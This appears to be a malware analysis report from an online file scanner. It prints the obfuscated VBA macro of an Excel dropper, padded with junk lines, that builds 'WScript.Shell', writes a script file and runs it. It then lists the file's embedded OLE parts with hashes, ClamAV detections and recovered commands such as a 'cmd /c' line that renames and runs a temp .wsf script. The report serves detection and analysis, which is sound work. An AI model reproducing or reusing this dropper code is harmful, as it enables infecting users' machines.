            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
ajdbey84jwgw = ajdbey84jwgw + "pti"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
ajdbey84jwgw = ajdbey84jwgw + "ng."
Dim oFile As Object '249473
almvar = "v" + vch
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
almvar = almvar + "s"
bbbmap = "scr" + "ipt1"
TXTFile = x + ":" + bbbmap + "." + almvar
yhrttydhgtejiu8ftr5 = jeojrvbsl4
juiwy8eft3jyd4fgvehj = 2 - 1

    Open TXTFile For Output As juiwy8eft3jyd4fgvehj
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
            oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"


Print #1, yhrttydhgtejiu8ftr5
      Close #1
bvmhliuehgjk6i756 = "W"
If hournow > -2322 Then
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "S"
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "cr"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"

    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "i"
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "pt"

    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    oojihugygftfdtftfgyhuytrtrdrfg34 = "-9482+9551*3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970*9975-9935*489405/4661*471900/4290*745360/6655*1098513/9389*773952/6672*5785-5707*9133-9016*486467/4463*866712/8844*1273-1172*-868+982*-3344+3395*-8034+8085*-5866+5907"
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "."
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "S"
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "h"
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "e"
    bvmhliuehgjk6i756 = bvmhliuehgjk6i756 + "l" & "l"
End If
yu67fre54kji = 0
Dim bttttttttgggggggg4 As Object
Set bttttttttgggggggg4 = CreateObject(bvmhliuehgjk6i756)
uiewjhsr63rt4 = False
If hournow > -2322 Then
    Application.Eval (bttttttttgggggggg4.Run(Path + TXTFile, yu67fre54kji, uiewjhsr63rt4))
End If

Dim DDBTUFGOXCTHRGK
End Sub
ooxml_oleobject_00.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject2.bin 13312 bytes
SHA-256: 071da271b45dd4877c7ff1dcaecb3b689b4b327f63daecb1bca06d7ccdf62826
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '249473, WScript = sWScript + "."
ooxml_oleobject_00_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject2.bin Ole10Native stream: Ole10Native 10397 bytes
SHA-256: 8d9e99554b27c40515cce5cb285a68be104d2135f415962458e533d581bb9a9e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.ScriptFullName, WScript = "WScript" '249473, WScript = sWScript + "."
ooxml_oleobject_01.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject1.bin 3584 bytes
SHA-256: 4f17d48f69984614ebb2d0eddb20e97e1a61f14b3dd778a806c1f62317c23e70
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
ooxml_oleobject_01_ole10native_00.bin ole-package OOXML xl/embeddings/oleObject1.bin Ole10Native stream: Ole10Native 1340 bytes
SHA-256: f38be187cd79216c1068b6b7b4f8fb3ae34aa47862e3520fcfea8a80d747b297
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Wscript.Shell");
ooxml_oleobject_02.bin ooxml-ole-object OOXML embedded OLE part: xl/embeddings/oleObject3.bin 5936 bytes
SHA-256: 90a773425dc09f3b2e94d881a7cd4ca6f6b4818900ae69848510d2b8656d59e5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): cmd /c ren %tmp%\mm v&cScrIPT %tmp%\v?..wsf  C
ooxml_oleobject_03.bin ooxml-ole-object OOXML embedded OLE part: xl/vbaProject.bin 52736 bytes
SHA-256: 3964cba0e61fb78633b18f26e561c360221ae1b33d994b17606d1ef0a66ee439
Detection
ClamAV: Xls.Dropper.Sdrop-9451844-0
Obfuscation or payload: unlikely
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 4968 bytes
SHA-256: 979dde2aed02f077c16ae53546c6df9eed40e8386d6db6fc36aee9f966d2cb82
emf_01.emf ooxml-emf OOXML EMF part: xl/media/image2.emf 1536 bytes
SHA-256: 4d4d1e7b04c99dcb8e885915068ad6f74cc2333e91580cdae5ccaa00c427247f

Open this report in the interactive analyzer, or submit your own file for analysis.